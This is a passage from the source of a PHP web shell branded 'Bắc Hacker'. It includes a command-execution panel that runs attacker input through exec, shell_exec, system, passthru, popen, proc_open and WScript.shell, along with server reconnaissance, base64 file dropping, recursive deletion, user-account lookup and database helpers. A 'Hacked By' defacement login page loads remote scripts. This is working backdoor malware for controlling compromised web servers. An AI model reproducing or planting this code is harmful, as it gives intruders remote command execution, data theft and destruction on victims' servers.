1518 }
1519 formhead(array('title'=>'Execute Command'));
1520 makehide('action','shell');
1521 if (IS_WIN && IS_COM) {
1522 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1523 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1524 }
1525 p('<p>');
1526 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1527 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1528 p('</p>');
1529 formfoot();
1530
1531 if ($command) {
1532 p('<hr width="100%" noshade /><pre>');
1533 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1534 $wsh = new COM('WScript.shell');
1535 $exec = $wsh->exec('cmd.exe /c '.$command);
1536 $stdout = $exec->StdOut();
1537 $stroutput = $stdout->ReadAll();
1538 echo $stroutput;
1539 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1540 $descriptorspec = array(
1541 0 => array('pipe', 'r'),
1542 1 => array('pipe', 'w'),
1543 2 => array('pipe', 'w')
1544 );
1545 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1546 if (is_resource($process)) {
1547 fwrite($pipes[0], $command."\r\n");
1548 fwrite($pipes[0], "exit\r\n");
1549 fclose($pipes[0]);
1550 while (!feof($pipes[1])) {
1551 echo fgets($pipes[1], 1024);
1552 }
1553 fclose($pipes[1]);
1554 while (!feof($pipes[2])) {
1555 echo fgets($pipes[2], 1024);
1556 }
1557 fclose($pipes[2]);
1558 proc_close($process);
1559 }
1560 } else {
1561 echo(execute($command));
1562 }
1563 p('</pre>');
1564 }
1565}//end shell
1566
1567elseif ($action == 'phpenv') {
1568 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1569 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1570 !$dis_func && $dis_func = 'No';
1571 $info = array(
1572 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1573 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1574 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1575 4 => array('Server OS',PHP_OS),
1576 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1577 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1578 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1579 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1580 9 => array('The file path',__FILE__),
1581
1582 10 => array('PHP Version',PHP_VERSION),
1583 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1584 12 => array('Safe Mode',getcfg('safe_mode')),
1585 13 => array('Administrator',$adminmail),
1586 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1587 15 => array('enable_dl',getcfg('enable_dl')),
1588 16 => array('display_errors',getcfg('display_errors')),
1589 17 => array('register_globals',getcfg('register_globals')),
1590 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1591 19 => array('memory_limit',getcfg('memory_limit')),
1592 20 => array('post_max_size',getcfg('post_max_size')),
1593 21 => array('upload_max_filesize',$upsize),
1594 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1595 23 => array('disable_functions',$dis_func),
1596 );
1597
1598 if($phpvarname) {
1599 m($phpvarname .' : '.getcfg($phpvarname));
1600 }
1601
1602 formhead(array('title'=>'Server environment'));
1603 makehide('action','phpenv');
1604 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1605 formfooter();
1606
1607 $hp = array(0=> 'Server', 1=> 'PHP');
1608 for($a=0;$a<2;$a++) {
1609 p('<h2>'.$hp[$a].' »</h2>');
1610 p('<ul class="info">');
1611 if ($a==0) {
1612 for($i=1;$i<=9;$i++) {
1613 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1614 }
1615 } elseif ($a == 1) {
1616 for($i=10;$i<=23;$i++) {
1617 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1618 }
1619 }
1620 p('</ul>');
1621 }
1622}//end phpenv
1623
1624else {
1625 m('Undefined Action');
1626}
1627
1628?>
1629
1630</td></tr></table>
1631<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
1632 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1633 Copyright (C) 2011-2012 <B></B> - Develop by <a href=http://facebook.com/coideptrai.info target=_blank><B>Bắc Hacker </B></a> - <B>- Vietnamese- FB: fb.com/coideptrai.info</B> All Rights Reserved.
1634</div>
1635</body>
1636</noscript>
1637
1638<?php
1639
1640/*======================================================
1641Show info shell
1642======================================================*/
1643
1644function m($msg) {
1645 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1646 echo $msg;
1647 echo '</div>';
1648}
1649function scookie($key, $value, $life = 0, $prefix = 1) {
1650 global $admin, $timestamp, $_SERVER;
1651 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1652 $life = $life ? $life : $admin['cookielife'];
1653 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1654 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1655}
1656function multi($num, $perpage, $curpage, $tablename) {
1657 $multipage = '';
1658 if($num > $perpage) {
1659 $page = 10;
1660 $offset = 5;
1661 $pages = @ceil($num / $perpage);
1662 if($page > $pages) {
1663 $from = 1;
1664 $to = $pages;
1665 } else {
1666 $from = $curpage - $offset;
1667 $to = $curpage + $page - $offset - 1;
1668 if($from < 1) {
1669 $to = $curpage + 1 - $from;
1670 $from = 1;
1671 if(($to - $from) < $page && ($to - $from) < $pages) {
1672 $to = $page;
1673 }
1674 } elseif($to > $pages) {
1675 $from = $curpage - $pages + $to;
1676 $to = $pages;
1677 if(($to - $from) < $page && ($to - $from) < $pages) {
1678 $from = $pages - $page + 1;
1679 }
1680 }
1681 }
1682 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1683 for($i = $from; $i <= $to; $i++) {
1684 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1685 }
1686 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1687 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1688 }
1689 return $multipage;
1690}
1691// Login page
1692function loginpage() {
1693?>
1694
1695<html>
1696<head>
1697
1698<body bgcolor=black background=http://canhtitons2bebuong.esy.es/matrix.gif>
1699
1700 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
1701<title>.::[ Bắc Hacker ]::. </title>
1702<style type="text/css">
1703A:link {text-decoration: none; color: green }
1704A:visited {text-decoration: none;color:red}
1705A:active {text-decoration: none}
1706A:hover {text-decoration: underline; color: green;}
1707input, textarea, button
1708{
1709 font-size: 11pt;
1710 color: #FFFFFF;
1711 font-family: verdana, sans-serif;
1712 background-color: #000000;
1713 border-left: 2px dashed #8B0000;
1714 border-top: 2px dashed #8B0000;
1715 border-right: 2px dashed #8B0000;
1716 border-bottom: 2px dashed #8B0000;
1717}
1718
1719</style>
1720
1721 <BR><BR>
1722<div align=center >
1723
1724<div>
1725
1726<font color=gray>
1727<br /><br /><br /><br /><br />
1728
1729<form method="POST" action="">
1730 <span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
1731 <input type="hidden" name="doing" value="login">
1732 <input type="submit" value="Login">
1733 </form>
1734<BR>
1735<?php
1736echo "".$err_mess."";
1737?>
1738
1739 <B><font color=red>
1740
1741
1742
1743
1744
1745
1746</div>
1747
1748
1749 </fieldset>
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759<script language="Javascript">
1760<!-- Begin
1761function disableselect(e){
1762return false
1763}
1764function reEnable(){
1765return true
1766}
1767document.onselectstart=new Function ("return false")
1768if (window.sidebar){
1769document.onmousedown=disableselect
1770document.onclick=reEnable
1771}
1772// End -->
1773</script>
1774<!-- no txt fin -->
1775
1776<style type="text/css">BODY {
1777 SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; SCROLLBAR-3DLIGHT-COLOR: #000000; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-TRACK-COLOR: #ffffff; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #000000
1778}
1779.Estilo10 {
1780 COLOR: #ffffff; FONT-FAMILY: Haettenschweiler
1781}
1782.Estilo8 {
1783 FONT-SIZE: 10px; COLOR: #ffffff; FONT-FAMILY: Haettenschweiler
1784}
1785
1786</style>
1787
1788
1789
1790
1791<center>
1792
1793
1794
1795
1796
1797<script language="JavaScript">
1798
1799
1800TypingText = function(element, interval, cursor, finishedCallback) {
1801 if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
1802 this.running = true; // Never run.
1803 return;
1804 }
1805 this.element = element;
1806 this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
1807 this.interval = (typeof interval == "undefined" ? 20 : interval);
1808 this.origText = this.element.innerHTML;
1809 this.unparsedOrigText = this.origText;
1810 this.cursor = (cursor ? cursor : "");
1811 this.currentText = "";
1812 this.currentChar = 0;
1813 this.element.typingText = this;
1814 if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
1815 TypingText.all.push(this);
1816 this.running = false;
1817 this.inTag = false;
1818 this.tagBuffer = "";
1819 this.inHTMLEntity = false;
1820 this.HTMLEntityBuffer = "";
1821}
1822TypingText.all = new Array();
1823TypingText.currentIndex = 0;
1824TypingText.runAll = function() {
1825 for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
1826}
1827TypingText.prototype.run = function() {
1828 if(this.running) return;
1829 if(typeof this.origText == "undefined") {
1830 setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); // We haven't finished loading yet. Have patience.
1831 return;
1832 }
1833 if(this.currentText == "") this.element.innerHTML = "";
1834// this.origText = this.origText.replace(/<([^<])*>/, ""); // Strip HTML from text.
1835 if(this.currentChar < this.origText.length) {
1836 if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
1837 this.tagBuffer = "<";
1838 this.inTag = true;
1839 this.currentChar++;
1840 this.run();
1841 return;
1842 } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
1843 this.tagBuffer += ">";
1844 this.inTag = false;
1845 this.currentText += this.tagBuffer;
1846 this.currentChar++;
1847 this.run();
1848 return;
1849 } else if(this.inTag) {
1850 this.tagBuffer += this.origText.charAt(this.currentChar);
1851 this.currentChar++;
1852 this.run();
1853 return;
1854 } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
1855 this.HTMLEntityBuffer = "&";
1856 this.inHTMLEntity = true;
1857 this.currentChar++;
1858 this.run();
1859 return;
1860 } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
1861 this.HTMLEntityBuffer += ";";
1862 this.inHTMLEntity = false;
1863 this.currentText += this.HTMLEntityBuffer;
1864 this.currentChar++;
1865 this.run();
1866 return;
1867 } else if(this.inHTMLEntity) {
1868 this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
1869 this.currentChar++;
1870 this.run();
1871 return;
1872 } else {
1873 this.currentText += this.origText.charAt(this.currentChar);
1874 }
1875 this.element.innerHTML = this.currentText;
1876 this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
1877 this.currentChar++;
1878 setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
1879 } else {
1880 this.currentText = "";
1881 this.currentChar = 0;
1882 this.running = false;
1883 this.finishedCallback();
1884 }
1885}
1886</script>
1887<center><img border="0" align=center src="https://scontent-hkg3-1.xx.fbcdn.net/v/t1.0-9/13221032_1625121754478978_6661039099912751560_n.jpg?oh=0ad7a097f0792fa0acc8bb7ca2a6c5bf&oe=5812C581" width="200" height="200"></center>
1888<span class=a10><u8:p> </u8:p></span></p>
1889<center>
1890<font face="Courier New" size="5.5"><h3>
1891<script>
1892
1893farbbibliothek = new Array();
1894
1895farbbibliothek[0] = new Array("#FF0000","#FF1100","#FF2200","#FF3300","#FF4400","#FF5500","#FF6600","#FF7700","#FF8800","#FF9900","#FFaa00","#FFbb00","#FFcc00","#FFdd00","#FFee00","#FFff00","#FFee00","#FFdd00","#FFcc00","#FFbb00","#FFaa00","#FF9900","#FF8800","#FF7700","#FF6600","#FF5500","#FF4400","#FF3300","#FF2200","#FF1100");
1896
1897farbbibliothek[1] = new Array("#00FF00","black","#00FF00","#00FF00");
1898
1899farbbibliothek[2] = new Array("#00FF00","#FF0000","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00");
1900
1901farbbibliothek[3] = new Array("#FF0000","#FF4000","#FF8000","#FFC000","#FFFF00","#C0FF00","#80FF00","#40FF00","#00FF00","#00FF40","#00FF80","#00FFC0","#00FFFF","#00C0FF","#0080FF","#0040FF","#0000FF","#4000FF","#8000FF","#C000FF","#FF00FF","#FF00C0","#FF0080","#FF0040");
1902
1903farbbibliothek[4] = new Array("#FF0000","#EE0000","#DD0000","#CC0000","#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","black","#110000","#220000","#330000","#440000","#550000","#660000","#770000","#880000","#990000","#AA0000","#BB0000","#CC0000","#DD0000","#EE0000");
1904
1905farbbibliothek[5] = new Array("black","black","black","white","white","white");
1906
1907farbbibliothek[6] = new Array("#0000FF","#FFFF00");
1908
1909farben = farbbibliothek[4];
1910
1911function farbschrift()
1912
1913{
1914
1915for(var i=0 ; i<Buchstabe.length; i++)
1916
1917{
1918
1919document.all["a"+i].style.color=farben[i];
1920
1921}
1922
1923farbverlauf();
1924
1925}
1926
1927function string2array(text)
1928
1929{
1930
1931Buchstabe = new Array();
1932
1933while(farben.length<text.length)
1934
1935{
1936
1937farben = farben.concat(farben);
1938
1939}
1940
1941k=0;
1942
1943while(k<=text.length)
1944
1945{
1946
1947Buchstabe[k] = text.charAt(k);
1948
1949k++;
1950
1951}
1952
1953}
1954
1955function divserzeugen()
1956
1957{
1958
1959for(var i=0 ; i<Buchstabe.length; i++)
1960
1961{
1962
1963document.write("<span id='a"+i+"' class='a"+i+"'>"+Buchstabe[i] + "</span>");
1964
1965}
1966
1967farbschrift();
1968
1969}
1970
1971var a=1;
1972
1973function farbverlauf()
1974
1975{
1976
1977for(var i=0 ; i<farben.length; i++)
1978
1979{
1980
1981farben[i-1]=farben[i];
1982
1983}
1984
1985farben[farben.length-1]=farben[-1];
1986
1987
1988
1989setTimeout("farbschrift()",30);
1990
1991}
1992
1993// Zu Demonstrationszwecken**
1994
1995var farbsatz=1;
1996
1997function farbtauscher()
1998
1999{
2000
2001farben = farbbibliothek[farbsatz];
2002
2003while(farben.length<text.length)
2004
2005{
2006
2007farben = farben.concat(farben);
2008
2009}
2010
2011farbsatz=Math.floor(Math.random()*(farbbibliothek.length-0.0001));
2012
2013}
2014
2015setInterval("farbtauscher()",5000);
2016
2017text= "--[ - Log into your shell - ]--"; //h
2018
2019string2array(text);
2020
2021divserzeugen();
2022
2023//document.write(text);</script>
2024<br>
2025<style>
2026td{align: center; font-family: Bradley Hand ITC; font-size: 18pt; color: black}
2027a{align: center; font-family: Bradley Hand ITC; font-size: 12pt; color: red}
2028
2029</style>
2030<center>
2031<img src="http://skoun.net/wp-content/uploads/2013/11/anonymous-tim.jpg" width="0" height="0">
2032<div id="example1">
2033<p id="example2">
2034
2035
2036<h3 align="center"><font size="4"face="Orbitron" style="background: url("http://i106.photobucket.com/albums/m280/YukioKenshin/chopnhay.gif") repeat scroll 0% 0% transparent; color:white;text-shadow: 0 0 0.3em aqua,0 0 0.3em aqua"><b> -=[ Shut Down ]=- </b></font></h3>
2037</font></p><hr size="2" width="50%" color="#424242" align="center"><font size="2" face="Orbitron" color="#585858">
2038<div align=center >
2039<fieldset style="border: 2px dashed rgb(69, 69, 69); padding: 4px;width:500px;bgcolor:white;align:center;font-family:tahoma;font-size:10pt;border-color:#fff; text-shadow: rgb(0, 46, 255) 0px 0px 6px, rgb(3, 44, 254) 0px 0px 5px, rgb(9, 44, 255) 0px 0px 5px;">
2040
2041<div>
2042<blink><font face="Nosifer" size="7" color="white" class="a">Hacked</font><font face="Nosifer" size="7" color="red" class="a"> By</font><font face="Nosifer" size="7" color="white" class="a">Destroy</font></blink>
2043
2044<br><font size="4" face="Orbitron" style="background: url("http://i106.photobucket.com/albums/m280/YukioKenshin/chopnhay.gif") repeat scroll 0% 0% transparent; color:#fff; text-shadow: rgb(0, 46, 255) 0px 0px 6px, rgb(3, 44, 254) 0px 0px 5px, rgb(9, 44, 255) 0px 0px 5px;">- Name: Dương Xuân Bắc -<br> NickName: DXB2k2 <br>VietNamese <br>Contac: fb.com/coideptrai.info</font>
2045<br>
2046<br>
2047<br></font></font></div></center><script>
2048
2049</script><font size="4" face="Orbitron" color="#585858">
2050<script>jsbinShowEdit({"root":"http://static.jsbin.com","csrf":"RccJe4f1JegSj7TRvxsAQB+L"});</script>
2051<script src="http://vnog.esy.es/js/vendor/eventsource.js"></script>
2052<script src="http://vnog.esy.es/js/spike.js"></script>
2053<script>
2054var _gaq = _gaq || [];
2055_gaq.push(['_setAccount', 'UA-1656750-34']);
2056_gaq.push(['_trackPageview']);
2057
2058(function() {
2059 var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
2060 ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
2061 (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ga);
2062})();
2063</script>
2064
2065<script type="text/javascript">
2066//Define first typing example:
2067new TypingText(document.getElementById("example1"));
2068//Define second typing example (use "slashing" cursor at the end):
2069new TypingText(document.getElementById("example2"), 50, function(i){
2070var ar = new Array("_"," ","_","_"); return " " + ar[i.length %
2071ar.length]; });
2072//Type out examples:
2073TypingText.runAll();
2074</script>
2075<!--
2076
2077
2078
2079
2080
2081<script language="JavaScript" type="text/javascript">
2082
2083
2084<!--
2085var rows=1; // must be an odd number
2086var speed=10; // lower is faster
2087var reveal=10; // between 0 and 2 only. The higher, the faster the word appears
2088var effectalign="default" //enter "center" to center it.
2089script language="JavaScript" type="text/javascript">
2090<!--
2091
2092// PLAYER VARIABLES
2093
2094var mp3snd = "http://maestrohack.ucoz.com/clubbed_to_death-matrix_soundtrack.mp3";
2095var oggsnd = "home-sound.ogg";
2096
2097document.write('<audio autoplay="autoplay">');
2098document.write('<source src="'+mp3snd+'" type="audio/mpeg">');
2099document.write('<source src="'+oggsnd+'" type="audio/ogg">');
2100document.write('<bgsound src="'+mp3snd+'" loop="1">');
2101document.write('</audio>');
2102
2103//-->
2104</script>
2105<center><img src="http://hinhanh.gamechocon.com/img.aspx?idimg=927"></center>
2106<font face="Orbitron" style="color:white;text-shadow: 0 0 0.3em yellow,0 0 0.3em Yellow; z-index:900000">
2107<b>Contact:</b>
2108<marquee width="50%" scrolldelay="20" scrollamount="2" direction="left" behavior="scroll">
2109<font face="Orbitron" style="color:white;text-shadow: 0 0 1.9em Green,0 0 0.3em Green;">
2110<b> Hacked By Bắc : www.facebook.com/coideptrai.info VietNam No1. -END-</b>
2111</font></marquee>
2112<center><img src="http://hinhanh.gamechocon.com/img.aspx?idimg=927"></center>
2113<br>
2114<h2><font face="Orbitron" style="color:Black;text-shadow: 0 0 0.3em aqua,0 0 0.3em aqua;"><b><font size=2><strong><p align="right">#Copyright By: DXB2k2. Vietnam's Top 1</b>
2115<br>
2116<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td><div id="flip" style="float:right;">
2117<script type="text/javascript">
2118var trailimage=["http://4.bp.blogspot.com/-c8MIH-CPLTo/T8_3iyPH0YI/AAAAAAAAbKQ/Oz4RfAC57CI/s1600/Vietnam-240-animated-flag-gifs.gif", 100, 60]
2119var offsetfrommouse=[-5,20]
2120var displayduration=0
2121if (document.getElementById || document.all)
2122document.write('<div id="trailimageid" style="position:absolute;visibility:visible;left:0px;top:0px;width:1px;height:1px"><img src="'+trailimage[0]+'" border="0" width="'+trailimage[1]+'px" height="'+trailimage[2]+'px"></div>')
2123
2124function gettrailobj(){
2125if (document.getElementById)
2126return document.getElementById("trailimageid").style
2127else if (document.all)
2128return document.all.trailimagid.style
2129}
2130
2131function truebody(){
2132return (!window.opera && document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
2133}
2134
2135function hidetrail(){
2136gettrailobj().visibility="hidden"
2137document.onmousemove=""
2138
2139}
2140
2141function followmouse(e){
2142var xcoord=offsetfrommouse[0]
2143var ycoord=offsetfrommouse[1]
2144if (typeof e != "undefined"){
2145xcoord+=e.pageX
2146ycoord+=e.pageY
2147}
2148else if (typeof window.event !="undefined"){
2149xcoord+=truebody().scrollLeft+event.clientX
2150ycoord+=truebody().scrollTop+event.clientY
2151}
2152var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth-15
2153var docheight=document.all? Math.max(truebody().scrollHeight, truebody().clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight)
2154if (xcoord+trailimage[1]+3>docwidth || ycoord+trailimage[2]> docheight)
2155gettrailobj().display="none"
2156else
2157gettrailobj().display=""
2158gettrailobj().left=xcoord+"px"
2159gettrailobj().top=ycoord+"px"
2160}
2161
2162document.onmousemove=followmouse
2163
2164if (displayduration>0)
2165setTimeout("hidetrail()", displayduration*1000)
2166
2167</script>
2168<style>HTML,BODY{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/fireblue.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/fireblue.gif"), auto;}</style>
2169
2170
2171
2172
2173
2174
2175
2176<iframe width="0" height="0" src="http://mp3.zing.vn/embed/song/ZW6AFFAA?autostart=true" frameborder="0" allowfullscreen="true"></iframe>
2177
2178</head>
2179</html>
2180
2181<?php
2182 exit;
2183
2184}//end loginpage()
2185
2186function execute($cfe) {
2187 $res = '';
2188 if ($cfe) {
2189 if(function_exists('exec')) {
2190 @exec($cfe,$res);
2191 $res = join("\n",$res);
2192 } elseif(function_exists('shell_exec')) {
2193 $res = @shell_exec($cfe);
2194 } elseif(function_exists('system')) {
2195 @ob_start();
2196 @system($cfe);
2197 $res = @ob_get_contents();
2198 @ob_end_clean();
2199 } elseif(function_exists('passthru')) {
2200 @ob_start();
2201 @passthru($cfe);
2202 $res = @ob_get_contents();
2203 @ob_end_clean();
2204 } elseif(@is_resource($f = @popen($cfe,"r"))) {
2205 $res = '';
2206 while(!@feof($f)) {
2207 $res .= @fread($f,1024);
2208 }
2209 @pclose($f);
2210 }
2211 }
2212 return $res;
2213}
2214function which($pr) {
2215 $path = execute("which $pr");
2216 return ($path ? $path : $pr);
2217}
2218
2219function cf($fname,$text){
2220 if($fp=@fopen($fname,'w')) {
2221 @fputs($fp,@base64_decode($text));
2222 @fclose($fp);
2223 }
2224}
2225
2226// Debug
2227function debuginfo() {
2228 global $starttime;
2229 $mtime = explode(' ', microtime());
2230 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
2231 echo 'Processed in '.$totaltime.' second(s)';
2232}
2233
2234// Function connect database
2235function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
2236 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
2237 p('<h2>Can not connect to MySQL server</h2>');
2238 exit;
2239 }
2240 if($link && $dbname) {
2241 if (!@mysql_select_db($dbname, $link)) {
2242 p('<h2>Database selected has error</h2>');
2243 exit;
2244 }
2245 }
2246 if($link && mysql_get_server_info() > '4.1') {
2247 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
2248 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
2249 }
2250 }
2251 return $link;
2252}
2253
2254// Array strip
2255function s_array(&$array) {
2256 if (is_array($array)) {
2257 foreach ($array as $k => $v) {
2258 $array[$k] = s_array($v);
2259 }
2260 } else if (is_string($array)) {
2261 $array = stripslashes($array);
2262 }
2263 return $array;
2264}
2265
2266// HTML Strip
2267function html_clean($content) {
2268 $content = htmlspecialchars($content);
2269 $content = str_replace("\n", "<br />", $content);
2270 $content = str_replace(" ", " ", $content);
2271 $content = str_replace("\t", " ", $content);
2272 return $content;
2273}
2274
2275// Chmod
2276function getChmod($filepath){
2277 return substr(base_convert(@fileperms($filepath),10,8),-4);
2278}
2279
2280function getPerms($filepath) {
2281 $mode = @fileperms($filepath);
2282 if (($mode & 0xC000) === 0xC000) {$type = 's';}
2283 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
2284 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
2285 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
2286 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
2287 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
2288 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
2289 else {$type = '?';}
2290
2291 $owner['read'] = ($mode & 00400) ? 'r' : '-';
2292 $owner['write'] = ($mode & 00200) ? 'w' : '-';
2293 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
2294 $group['read'] = ($mode & 00040) ? 'r' : '-';
2295 $group['write'] = ($mode & 00020) ? 'w' : '-';
2296 $group['execute'] = ($mode & 00010) ? 'x' : '-';
2297 $world['read'] = ($mode & 00004) ? 'r' : '-';
2298 $world['write'] = ($mode & 00002) ? 'w' : '-';
2299 $world['execute'] = ($mode & 00001) ? 'x' : '-';
2300
2301 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
2302 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
2303 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
2304
2305 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
2306}
2307
2308function getUser($filepath) {
2309 if (function_exists('posix_getpwuid')) {
2310 $array = @posix_getpwuid(@fileowner($filepath));
2311 if ($array && is_array($array)) {
2312 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
2313 }
2314 }
2315 return '';
2316}
2317
2318// Delete dir
2319function deltree($deldir) {
2320 $mydir=@dir($deldir);
2321 while($file=$mydir->read()) {
2322 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
2323 @chmod($deldir.'/'.$file,0777);
2324 deltree($deldir.'/'.$file);
2325 }
2326 if (is_file($deldir.'/'.$file)) {
2327 @chmod($deldir.'/'.$file,0777);
2328 @unlink($deldir.'/'.$file);
2329 }
2330 }
2331 $mydir->close();
2332 @chmod($deldir,0777);
2333 return @rmdir($deldir) ? 1 : 0;
2334}
2335
2336// Background
2337function bg() {
2338 global $bgc;
2339 return ($bgc++%2==0) ? 'alt1' : 'alt2';
2340}
2341
2342// Get path
2343function getPath($scriptpath, $nowpath) {
2344 if ($nowpath == '.') {
2345 $nowpath = $scriptpath;
2346 }
2347 $nowpath = str_replace('\\', '/', $nowpath);
2348 $nowpath = str_replace('//', '/', $nowpath);
2349 if (substr($nowpath, -1) != '/') {
2350 $nowpath = $nowpath.'/';
2351 }
2352 return $nowpath;
2353}
2354
2355// Get up path
2356function getUpPath($nowpath) {
2357 $pathdb = explode('/', $nowpath);
2358 $num = count($pathdb);
2359 if ($num > 2) {
2360 unset($pathdb[$num-1],$pathdb[$num-2]);
2361 }
2362 $uppath = implode('/', $pathdb).'/';
2363 $uppath = str_replace('//', '/', $uppath);
2364 return $uppath;
2365}
2366
2367// Config
2368function getcfg($varname) {
2369 $result = get_cfg_var($varname);
2370 if ($result == 0) {
2371 return 'No';
2372 } elseif ($result == 1) {
2373 return 'Yes';
2374 } else {
2375 return $result;
2376 }
2377}
2378
2379// Function name
2380function getfun($funName) {
2381 return (false !== function_exists($funName)) ? 'Yes' : 'No';
2382}
2383
2384function GetList($dir){
2385 global $dirdata,$j,$nowpath;
2386 !$j && $j=1;
2387 if ($dh = opendir($dir)) {
2388 while ($file = readdir($dh)) {
2389 $f=str_replace('//','/',$dir.'/'.$file);
2390 if($file!='.' && $file!='..' && is_dir($f)){
2391 if (is_writable($f)) {
2392 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
